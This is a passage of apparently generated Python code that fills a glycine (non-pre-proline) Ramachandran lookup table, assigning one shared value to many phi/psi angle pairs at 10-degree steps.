Gly_nonxpro[(0, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, 150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, 160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(0, 170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, -180)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, -170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, -160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, 150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, 160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(10, 170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, -180)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, -170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, -160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, 150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, 160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(20, 170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, -180)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, -170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, -160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, 150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, 160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(30, 170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, -180)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, -170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, -160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, 150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, 160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(40, 170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, -180)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, -170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, -160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, 150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, 160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(50, 170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, -180)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, 150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, 160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(60, 170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, 150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, 160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(70, 170)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(80, 150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(90, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(90, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(90, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(90, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(90, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(90, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(90, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(90, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(90, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(90, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(90, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(90, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(90, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(90, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(90, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(90, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(90, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(90, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(100, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(110, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, -160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, 150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(120, 160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, 120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, 130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, 140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(130, 160)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, -180)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, -150)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, -140)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, -130)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, -120)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, -110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, -100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, -90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, -80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, -70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, -60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, -50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, -40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, -30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, -20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, -10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, 0)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, 10)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, 20)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, 30)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, 40)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, 50)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, 60)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, 70)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, 80)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, 90)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, 100)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, 110)]=Gly_nonxpro[(-180, -150)]
Gly_nonxpro[(140, 120)]=Gly_nonxpro[(-180, -150)]
